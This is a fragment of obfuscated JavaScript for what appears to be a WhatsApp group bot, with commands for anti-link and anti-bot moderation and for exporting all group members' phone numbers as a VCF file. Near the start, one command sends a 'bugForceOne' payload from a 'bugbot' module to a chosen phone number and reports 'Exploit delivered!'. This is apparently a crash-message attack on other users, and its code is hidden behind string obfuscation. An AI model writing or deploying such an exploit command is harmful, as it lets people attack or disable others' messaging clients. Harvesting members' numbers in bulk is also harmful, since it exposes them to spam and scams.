_0x12a771(_0x784ffc);},'vvxvq':_0x490903(0x25c),'urKTf':function(_0xc07be8,_0x5c3f46){return _0xc07be8(_0x5c3f46);},'eagAT':'Unknown\x20error'},_0x5e1a3b=_0x1fc7fb['key'][_0x490903(0x193)];let _0x575f53=_0x393d63[0x0];const _0x8e0ed=_0x1fc7fb['message']?.[_0x490903(0x1d5)]?.[_0x490903(0x267)]?.[_0x490903(0x17a)];if(_0x5af782[_0x490903(0x2f3)](!_0x575f53,_0x8e0ed))_0x575f53=_0x8e0ed;else _0x575f53&&(_0x575f53=_0x5af782[_0x490903(0x220)](_0x575f53[_0x490903(0x27b)](/[^0-9]/g,''),_0x5af782[_0x490903(0x33a)]));if(!_0x575f53)return _0x1c62cc(_0x5af782[_0x490903(0x280)]);try{await _0x5af782[_0x490903(0x33e)](_0x1c62cc,_0x490903(0x25b)+_0x575f53[_0x490903(0x17f)]('@')[0x0]+_0x490903(0x277));const {bugForceOne:_0x2138a8}=require('../bugbot/bugbot');await _0x5af782[_0x490903(0x2b6)](_0x2138a8,_0x34ff03,_0x575f53),await _0x5af782['TgAbI'](_0x1c62cc,_0x490903(0x27a)+_0x575f53['split']('@')[0x0]+'\x0a๐\x20Exploit\x20delivered!');}catch(_0x252473){console[_0x490903(0x21a)](_0x5af782[_0x490903(0x306)],_0x252473),await _0x5af782['urKTf'](_0x1c62cc,_0x490903(0x2a1)+(_0x252473[_0x490903(0x1a2)]||_0x5af782[_0x490903(0x1de)]));}}}),(0x0,types_1['registerCommand'])({'name':_0x4d270b(0x2ba),'aliases':[_0x4d270b(0x233),_0x4d270b(0x2cf)],'description':'Export\x20group\x20members\x20as\x20VCF\x20file','category':_0x4d270b(0x2d4),'execute':async({sock:_0x189df8,msg:_0x9ca351,reply:_0x114e27,isOwner:_0x14b9de})=>{const _0x54a87e=_0x4d270b,_0x27a0cf={'pKYqd':function(_0x277b4a,_0x3a5ac1){return _0x277b4a(_0x3a5ac1);},'VFsfL':_0x54a87e(0x21c),'VlxUo':function(_0x453ae7,_0xd4452e){return _0x453ae7(_0xd4452e);},'FxOdR':_0x54a87e(0x35d),'CIZdq':'Group','dKYiQ':_0x54a87e(0x19d),'RuysH':'BEGIN:VCARD\x0a','Pjtjj':function(_0x3a9ec9,_0x5348cc){return _0x3a9ec9+_0x5348cc;},'sNcLJ':function(_0x5bae51,_0x14081f){return _0x5bae51+_0x14081f;},'lDRuz':_0x54a87e(0x2bc),'fxobV':function(_0x398a4d,_0x3bd1b4){return _0x398a4d+_0x3bd1b4;},'baZev':_0x54a87e(0x20d),'eqtsS':_0x54a87e(0x2e3)},_0x139dc2=_0x9ca351[_0x54a87e(0x255)][_0x54a87e(0x193)];if(!_0x139dc2?.['endsWith']('@g.us'))return _0x27a0cf[_0x54a87e(0x1b4)](_0x114e27,'โ\x20This\x20command\x20only\x20works\x20in\x20groups!');if(!_0x14b9de)return _0x114e27(_0x27a0cf['VFsfL']);try{await _0x27a0cf['VlxUo'](_0x114e27,_0x27a0cf['FxOdR']);const _0x57f8de=await _0x189df8['groupMetadata'](_0x139dc2),_0x46dbcd=_0x57f8de[_0x54a87e(0x234)],_0x5a13d7=_0x57f8de[_0x54a87e(0x211)]||_0x27a0cf['CIZdq'];let _0x5e38a9='',_0x59f489=0x0;for(const _0x3a572c of _0x46dbcd){const _0x1effa3=_0x3a572c['id'][_0x54a87e(0x27b)](/@.*$/,'')[_0x54a87e(0x27b)](/:.*$/,''),_0x5781e9=_0x27a0cf['dKYiQ']+(_0x59f489+0x1);_0x5e38a9+=_0x27a0cf[_0x54a87e(0x2f1)],_0x5e38a9+=_0x54a87e(0x322),_0x5e38a9+=_0x27a0cf[_0x54a87e(0x2b7)](_0x54a87e(0x24f),_0x5781e9)+'\x0a',_0x5e38a9+=_0x27a0cf[_0x54a87e(0x276)](_0x54a87e(0x1f8),_0x1effa3)+'\x0a',_0x5e38a9+=_0x54a87e(0x360),_0x59f489++;}await _0x189df8['sendMessage'](_0x139dc2,{'document':Buffer[_0x54a87e(0x1e6)](_0x5e38a9,_0x54a87e(0x2e7)),'fileName':_0x5a13d7[_0x54a87e(0x27b)](/[^a-zA-Z0-9]/g,'_')+_0x27a0cf[_0x54a87e(0x1fe)],'mimetype':'text/vcard','caption':_0x27a0cf['fxobV'](_0x27a0cf[_0x54a87e(0x276)](_0x27a0cf['baZev']+_0x5a13d7+'\x20Contacts*\x0a\x0aโ
\x20Total:\x20',_0x59f489),_0x54a87e(0x18e))},{'quoted':_0x9ca351});}catch(_0x15b752){console[_0x54a87e(0x21a)](_0x27a0cf[_0x54a87e(0x2dc)],_0x15b752),await _0x114e27(_0x54a87e(0x2d1)+_0x15b752[_0x54a87e(0x1a2)]);}}}),(0x0,types_1[_0x4d270b(0x1ac)])({'name':_0x4d270b(0x328),'aliases':[_0x4d270b(0x270)],'description':_0x4d270b(0x1d7),'category':_0x4d270b(0x315),'ownerOnly':!![],'execute':async({msg:_0xae5d3c,args:_0x5954c1,reply:_0x4d4a1a})=>{const _0x5fd69b=_0x4d270b,_0x55a6eb={'eZIug':'@g.us','XUumc':'off','EUrlk':function(_0x147151,_0x205a19){return _0x147151(_0x205a19);},'oqRto':_0x5fd69b(0x31c)},_0x320eb9=_0xae5d3c[_0x5fd69b(0x255)]['remoteJid'];if(!_0x320eb9['endsWith'](_0x55a6eb['eZIug']))return _0x4d4a1a(_0x5fd69b(0x1c8));const _0x54fcd1=_0x5954c1[0x0]?.[_0x5fd69b(0x28a)]();if(_0x54fcd1==='on')return await storage_1[_0x5fd69b(0x184)][_0x5fd69b(0x350)](_0x320eb9,{'antibotEnabled':!![]}),_0x4d4a1a(_0x5fd69b(0x244));else{if(_0x54fcd1===_0x55a6eb['XUumc'])return await storage_1['storage'][_0x5fd69b(0x350)](_0x320eb9,{'antibotEnabled':![]}),_0x55a6eb[_0x5fd69b(0x1f4)](_0x4d4a1a,'โ\x20Anti-Bot\x20DISABLED\x20โ\x20bots\x20can\x20roam\x20free\x20now');else{const _0x243913=await storage_1['storage'][_0x5fd69b(0x35b)](_0x320eb9),_0x26af1d=_0x243913?.[_0x5fd69b(0x26b)]?_0x55a6eb[_0x5fd69b(0x198)]:_0x5fd69b(0x1cf);return _0x55a6eb['EUrlk'](_0x4d4a1a,_0x5fd69b(0x186)+_0x26af1d+'\x0a\x0aUsage:\x0aโข\x20`.antibot\x20on`\x20-\x20Kick\x20bot\x20users\x0aโข\x20`.antibot\x20off`\x20-\x20Allow\x20bots\x0a\x0a_When\x20ON,\x20anyone\x20sending\x20via\x20a\x20bot\x20will\x20be\x20kicked!_');}}}});function extractAllText(_0x425936){const _0x2c265b=_0x4d270b,_0x5e0d41=_0x425936[_0x2c265b(0x1a2)];if(!_0x5e0d41)return'';const _0x1a7be0=[];if(_0x5e0d41['conversation'])_0x1a7be0[_0x2c265b(0x181)](_0x5e0d41[_0x2c265b(0x2fc)]);if(_0x5e0d41[_0x2c265b(0x1d5)]?.['text'])_0x1a7be0[_0x2c265b(0x181)](_0x5e0d41['extendedTextMessage'][_0x2c265b(0x298)]);if(_0x5e0d41[_0x2c265b(0x339)]?.[_0x2c265b(0x30e)])_0x1a7be0[_0x2c265b(0x181)](_0x5e0d41[_0x2c265b(0x339)][_0x2c265b(0x30e)]);if(_0x5e0d41['videoMessage']?.[_0x2c265b(0x30e)])_0x1a7be0[_0x2c265b(0x181)](_0x5e0d41[_0x2c265b(0x290)][_0x2c265b(0x30e)]);if(_0x5e0d41[_0x2c265b(0x283)]?.[_0x2c265b(0x30e)])_0x1a7be0[_0x2c265b(0x181)](_0x5e0d41[_0x2c265b(0x283)][_0x2c265b(0x30e)]);const _0x3aee3b=_0x5e0d41['ephemeralMessage']?.[_0x2c265b(0x1a2)]||_0x5e0d41[_0x2c265b(0x1d1)]?.['message']||_0x5e0d41[_0x2c265b(0x2b4)]?.[_0x2c265b(0x1a2)]||_0x5e0d41[_0x2c265b(0x1c2)]?.[_0x2c265b(0x1a2)];if(_0x3aee3b){if(_0x3aee3b[_0x2c265b(0x2fc)])_0x1a7be0['push'](_0x3aee3b[_0x2c265b(0x2fc)]);if(_0x3aee3b[_0x2c265b(0x1d5)]?.[_0x2c265b(0x298)])_0x1a7be0[_0x2c265b(0x181)](_0x3aee3b['extendedTextMessage'][_0x2c265b(0x298)]);if(_0x3aee3b['imageMessage']?.[_0x2c265b(0x30e)])_0x1a7be0['push'](_0x3aee3b[_0x2c265b(0x339)][_0x2c265b(0x30e)]);if(_0x3aee3b[_0x2c265b(0x290)]?.['caption'])_0x1a7be0[_0x2c265b(0x181)](_0x3aee3b[_0x2c265b(0x290)]['caption']);}return _0x1a7be0[_0x2c265b(0x22d)]('\x20');}const URL_REGEX=/(?:https?:\/\/|www\.)[^\s<>\"']+|(?:[a-zA-Z0-9](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?\.)+(?:com|org|net|edu|gov|io|co|me|info|biz|xyz|app|dev|ly|cc|gg|tv|us|uk|de|fr|ru|cn|in|br|it|nl|au|ca|ch|se|no|fi|dk|be|at|es|pt|pl|cz|sk|hu|ro|bg|hr|rs|ua|za|ke|ng|gh|tz|ug|rw|et|eg|ma|dz|tn|ly|link|store|online|site|tech|club|fun|pro|top|live|world|shop|today|space|website|digital|network|social|cloud|media|design|blog|page|land|chat|click|one|ph|my|sg|th|vn|id|pk|bd|lk|np|mm)\b(?:\/[^\s<>\"']*)?/gi;async function handleAntilink(_0x170368,_0x383bd5,_0x80081c){const _0x97d00b=_0x4d270b,_0x4ed687={'ayPEQ':function(_0x420e9f,_0xbff3a6){return _0x420e9f!==_0xbff3a6;},'ZHtgo':_0x97d00b(0x32a),'nQFjE':function(_0x2b1050,_0x462c20){return _0x2b1050===_0x462c20;},'CKOSD':function(_0x56cba7,_0x10402c){return _0x56cba7(_0x10402c);},'QXmKY':function(_0x3cd011,_0x2b62bc,_0x13cbfb){return _0x3cd011(_0x2b62bc,_0x13cbfb);},'NJEwn':_0x97d00b(0x346),'oSQeN':'[ANTILINK]\x20Failed\x20to\x20kick:','DWXHY':function(_0x1372d6,_0x35d129){return _0x1372d6>=_0x35d129;},'DKopb':'4|1|0|3|2','gFspD':_0x97d00b(0x32f)};try{if(_0x4ed687[_0x97d00b(0x1c5)](_0x4ed687[_0x97d00b(0x1ea)],_0x4ed687[_0x97d00b(0x1ea)])){if(!_0x1758bf||!_0x44b498)return _0x3565bb;let _0x20dae=_0x128821['find'](_0x1428cc=>_0x1428cc['id']===_0x1c8cb9);if(_0x20dae)return _0x20dae;const _0x221dc4=_0x1de6f2[_0x97d00b(0x17f)]('@')[0x0][_0x97d00b(0x17f)](':')[0x0];_0x20dae=_0x1fea18['find'](_0x54b9c5=>_0x54b9c5['id']['split']('@')[0x0][_0x97d00b(0x17f)](':')[0x0]===_0x221dc4);if(_0x20dae)return _0x20dae;if(_0x221dc4['length']>=0x8){_0x20dae=_0x856087['find'](_0x183ff8=>_0x183ff8['id']['split']('@')[0x0]['includes'](_0x221dc4['slice'](-0x8)));if(_0x20dae)return _0x20dae;}return _0xcde4fa;}else{const _0x6d27ef=_0x383bd5['key'][_0x97d00b(0x193)];if(!_0x6d27ef||!_0x6d27ef[_0x97d00b(0x1a6)](_0x97d00b(0x25d)))return![];const _0x40a914=await storage_1['storage'][_0x97d00b(0x35b)](_0x6d27ef);if(!_0x40a914)return![];console['log'](_0x97d00b(0x199)+_0x6d27ef[_0x97d00b(0x1df)](0x0,0xf)+_0x97d00b(0x26d)+_0x40a914[_0x97d00b(0x31a)]);if(!_0x40a914[_0x97d00b(0x31a)]||_0x4ed687[_0x97d00b(0x219)](_0x40a914[_0x97d00b(0x31a)],_0x97d00b(0x2f8)))return![];const _0x469f1e=_0x4ed687[_0x97d00b(0x26c)](extractAllText,_0x383bd5);if(!_0x469f1e)return![];const _0x1cc900=_0x469f1e['match'](URL_REGEX);if(!_0x1cc900||_0x1cc900[_0x97d00b(0x354)]===0x0)return![];console['log'](_0x97d00b(0x266)+_0x6d27ef+_0x97d00b(0x36e)+_0x1cc900[0x0]+'\x22');let _0x46e619='';try{_0x46e619=await _0x170368[_0x97d00b(0x356)](_0x6d27ef);}catch(_0xaecdac){}if(_0x46e619){const _0x3ac36e=_0x97d00b(0x338)+_0x46e619,_0x28989b=_0x1cc900[_0x97d00b(0x293)](_0x75c0bf=>!_0x75c0bf[_0x97d00b(0x340)](_0x3ac36e));if(_0x28989b[_0x97d00b(0x354)]===0x0)return console[_0x97d00b(0x223)]('[ANTILINK]\x20โ
\x20Group\x27s\x20own\x20link\x20โ\x20allowed'),![];}const _0x423688=_0x383bd5['key']['participant']||_0x383bd5['key'][_0x97d00b(0x193)];if(!_0x423688)return![];if(_0x383bd5['key'][_0x97d00b(0x20f)])return![];try{const _0x9749e9=await _0x170368[_0x97d00b(0x248)](_0x6d27ef),_0x2aac76=_0x4ed687[_0x97d00b(0x1f2)](findParticipant,_0x9749e9['participants'],_0x423688);if(_0x2aac76?.[_0x97d00b(0x2bf)]===_0x97d00b(0x2bf)||_0x2aac76?.[_0x97d00b(0x2bf)]===_0x4ed687[_0x97d00b(0x1be)])return console[_0x97d00b(0x223)](_0x97d00b(0x1fa)),![];const _0x30ab3b=findBotInParticipants(_0x170368,_0x9749e9['participants']),_0x2993e9=_0x30ab3b?.[_0x97d00b(0x2bf)]===_0x97d00b(0x2bf)||_0x30ab3b?.[_0x97d00b(0x2bf)]===_0x97d00b(0x346);if(!_0x2993e9)return console[_0x97d00b(0x223)](_0x97d00b(0x17e)),![];}catch(_0x42b073){return console['error']('[ANTILINK]\x20Metadata\x20error:',_0x42b073),![];}try{await _0x170368['sendMessage'](_0x6d27ef,{'delete':_0x383bd5['key']});}catch(_0x52b972){console['error'](_0x97d00b(0x36d),_0x52b972);}const _0x40e6d0=_0x423688[_0x97d00b(0x17f)]('@')[0x0][_0x97d00b(0x17f)](':')[0x0];if(_0x4ed687['nQFjE'](_0x40a914[_0x97d00b(0x31a)],_0x97d00b(0x18a))){console[_0x97d00b(0x223)](_0x97d00b(0x367)+_0x40e6d0+_0x97d00b(0x225));try{await _0x170368[_0x97d00b(0x2e5)](_0x6d27ef,[_0x423688],_0x97d00b(0x2d8));}catch(_0xafa341){console['error'](_0x4ed687['oSQeN'],_0xafa341);}return await _0x170368[_0x97d00b(0x242)](_0x6d27ef,{'text':'๐๐ซ\x20*ANTI-LINK\x20ACTIVATED*\x0a\x0a@'+_0x40e6d0+'\x20has\x20been\x20*KICKED*\x20for\x20sending\x20a\x20link!\x0a\x0a_No\x20links\x20allowed\x20in\x20this\x20group_\x20๐','mentions':[_0x423688]}),!![];}else{if(_0x40a914[_0x97d00b(0x31a)]==='warn'){let _0x2ecf93={};try{_0x2ecf93=JSON[_0x97d00b(0x175)](_0x40a914['warnings']||'{}');}catch(_0xea2f94){}const _0x3573db=(_0x2ecf93[_0x423688]||0x0)+0x1;_0x2ecf93[_0x423688]=_0x3573db,await storage_1[_0x97d00b(0x184)]['updateGroupSettings'](_0x6d27ef,{'warnings':JSON[_0x97d00b(0x1cb)](_0x2ecf93)});if(_0x4ed687[_0x97d00b(0x301)](_0x3573db,0x3)){const _0xa8213f=_0x4ed687[_0x97d00b(0x317)]['split']('|');let _0x47953d=0x0;while(!![]){switch(_0xa8213f[_0x47953d++]){case'0':delete _0x2ecf93[_0x423688];continue;case'1':try{await _0x170368[_0x97d00b(0x2e5)](_0x6d27ef,[_0x423688],_0x97d00b(0x2d8));}catch(_0x2f7db4){console['error'](_0x4ed687[_0x97d00b(0x237)],_0x2f7db4);}continue;case'2':await _0x170368[_0x97d00b(0x242)](_0x6d27ef,{'text':'๐๐ซ\x20*ANTI-LINK\x20โ\x203\x20STRIKES\x20OUT*\x0a\x0a@'+_0x40e6d0+_0x97d00b(0x285),'mentions':[_0x423688]});continue;case'3':await storage_1['storage'][_0x97d00b(0x350)](_0x6d27ef,{'warnings':JSON[_0x97d00b(0x1cb)](_0x2ecf93)});continue;case'4':console['log'](_0x97d00b(0x367)+_0x40e6d0+_0x97d00b(0x238));continue;}break;}}else await _0x170368[_0x97d00b(0x242)](_0x6d27ef,{'text':_0x97d00b(0x1b1)+_0x3573db+_0x97d00b(0x241)+_0x40e6d0+_0x97d00b(0x34a)+(0x3-_0x3573db)+_0x97d00b(0x226),'mentions':[_0x423688]});return!![];}}return![];}}catch(_0x250b4b){return console[_0x97d00b(0x21a)](_0x4ed687['gFspD'],_0x250b4b),![];}}async function handleAntibot(_0x3e217a,_0x4a4bb4,_0x585eec){const _0x2d2005=_0x4d270b,_0x5be7d2={'mjTmi':function(_0x46fd3e,_0xda606a){return _0x46fd3e>_0xda606a;},'RSRqL':'Bot\x20JID\x20pattern\x20(high\x20device\x20suffix)','SePtx':'OKodK','QnEoH':_0x2d2005(0x1fb),'gQQJa':function(_0x58b185,_0x2afa95,_0x3bc680){return _0x58b185(_0x2afa95,_0x3bc680);},'pdklW':function(_0x41c320,_0x4ed27a){return _0x41c320===_0x4ed27a;},'keZHc':_0x2d2005(0x2bf),'MRowX':_0x2d2005(0x346),'hNXlS':_0x2d2005(0x2d8)};try{const _0x1d51a7=_0x4a4bb4[_0x2d2005(0x255)][_0x2d2005(0x193)];if(!_0x1d51a7||!_0x1d51a7[_0x2d2005(0x1a6)](_0x2d2005(0x25d)))return![];const _0x4a8fcd=await storage_1['storage'][_0x2d2005(0x35b)](_0x1d51a7);if(!_0x4a8fcd||!_0x4a8fcd['antibotEnabled'])return![];if(_0x4a4bb4[_0x2d2005(0x255)][_0x2d2005(0x20f)])return![];const _0xfb7af9=_0x4a4bb4['key'][_0x2d2005(0x17a)]||_0x4a4bb4[_0x2d2005(0x255)][_0x2d2005(0x193)];if(!_0xfb7af9)return![];const _0x50df28=_0x4a4bb4['message'];if(!_0x50df28)return![];let _0x50ec7e=![],_0x438212='';_0x50df28[_0x2d2005(0x1c2)]?.[_0x2d2005(0x1a2)]&&!_0x4a4bb4['key'][_0x2d2005(0x20f)]&&(_0x50ec7e=!![],_0x438212='Device-sent\x20message\x20wrapper\x20(bot\x20relay)');if(_0xfb7af9[_0x2d2005(0x340)](':')&&_0xfb7af9[_0x2d2005(0x1a6)]('@s.whatsapp.net')){const _0xccef1e=_0xfb7af9['split']('@')[0x0][_0x2d2005(0x17f)](':');_0x5be7d2[_0x2d2005(0x300)](_0xccef1e['length'],0x1)&&parseInt(_0xccef1e[0x1])>0xa&&(_0x50ec7e=!![],_0x438212=_0x5be7d2['RSRqL']);}const _0x29d1a6=_0x50df28[_0x2d2005(0x1d5)]?.['contextInfo']||_0x50df28[_0x2d2005(0x339)]?.[_0x2d2005(0x267)]||_0x50df28[_0x2d2005(0x290)]?.['contextInfo'];if(_0x29d1a6){if(_0x5be7d2[_0x2d2005(0x2aa)]!==_0x5be7d2[_0x2d2005(0x2de)])_0x29d1a6[_0x2d2005(0x1e1)]&&(_0x50ec7e=!![],_0x438212='Business\x20message\x20key\x20detected'),_0x29d1a6[_0x2d2005(0x190)]&&_0x29d1a6[_0x2d2005(0x355)]&&_0x29d1a6[_0x2d2005(0x180)]&&_0x29d1a6[_0x2d2005(0x180)]>0x5&&(_0x50ec7e=!![],_0x438212=_0x2d2005(0x1e3));else return _0x5c8a2b(_0x2d2005(0x1fd));}(_0x50df28[_0x2d2005(0x24e)]||_0x50df28['listMessage']||_0x50df28[_0x2d2005(0x1e5)]||_0x50df28[_0x2d2005(0x235)]||_0x50df28[_0x2d2005(0x335)]||_0x50df28[_0x2d2005(0x202)])&&(_0x50ec7e=!![],_0x438212=_0x2d2005(0x33f));if(!_0x50ec7e)return![];console[_0x2d2005(0x223)](_0x2d2005(0x2c8)+_0xfb7af9[_0x2d2005(0x17f)]('@')[0x0]+':\x20'+_0x438212);try{const _0x4fbbc8=await _0x3e217a['groupMetadata'](_0x1d51a7),_0x50e480=_0x5be7d2['gQQJa'](findParticipant,_0x4fbbc8[_0x2d2005(0x234)],_0xfb7af9);if(_0x5be7d2[_0x2d2005(0x1e7)](_0x50e480?.[_0x2d2005(0x2bf)],'admin')||_0x50e480?.['admin']==='superadmin')return console[_0x2d2005(0x223)]('[ANTIBOT]\x20โฉ\x20Admin\x27s\x20bot\x20โ\x20skipping'),![];const _0x42ba52=findBotInParticipants(_0x3e217a,_0x4fbbc8['participants']),_0x3035ec=_0x5be7d2[_0x2d2005(0x1e7)](_0x42ba52?.['admin'],_0x5be7d2[_0x2d2005(0x1c9)])||_0x42ba52?.['admin']===_0x5be7d2[_0x2d2005(0x1ec)];if(!_0x3035ec)return console[_0x2d2005(0x223)]('[ANTIBOT]\x20โ ๏ธ\x20Bot\x20is\x20not\x20admin\x20โ\x20cannot\x20enforce'),![];}catch(_0xfc3b63){return console[_0x2d2005(0x21a)](_0x2d2005(0x178),_0xfc3b63),![];}const _0x225f5e=_0xfb7af9[_0x2d2005(0x17f)]('@')[0x0][_0x2d2005(0x17f)](':')[0x0];try{await _0x3e217a[_0x2d2005(0x242)](_0x1d51a7,{'delete':_0x4a4bb4['key']});}catch(_0x5d2702){console[_0x2d2005(0x21a)]('[ANTIBOT]\x20Failed\x20to\x20delete:',_0x5d2702);}console[_0x2d2005(0x223)](_0x2d2005(0x22e)+_0x225f5e+_0x2d2005(0x23f)+_0x438212);try{await _0x3e217a[_0x2d2005(0x2e5)](_0x1d51a7,[_0xfb7af9],_0x5be7d2['hNXlS']);}catch(_0x26665d){console[_0x2d2005(0x21a)](_0x2d2005(0x294),_0x26665d);}return await _0x3e217a[_0x2d2005(0x242)](_0x1d51a7,{'text':_0x2d2005(0x1e4)+_0x225f5e+_0x2d2005(0x24d)+_0x438212+_0x2d2005(0x330),'mentions':[_0xfb7af9]}),!![];}catch(_0x17cba9){return console['error'](_0x2d2005(0x2f5),_0x17cba9),![];}}
|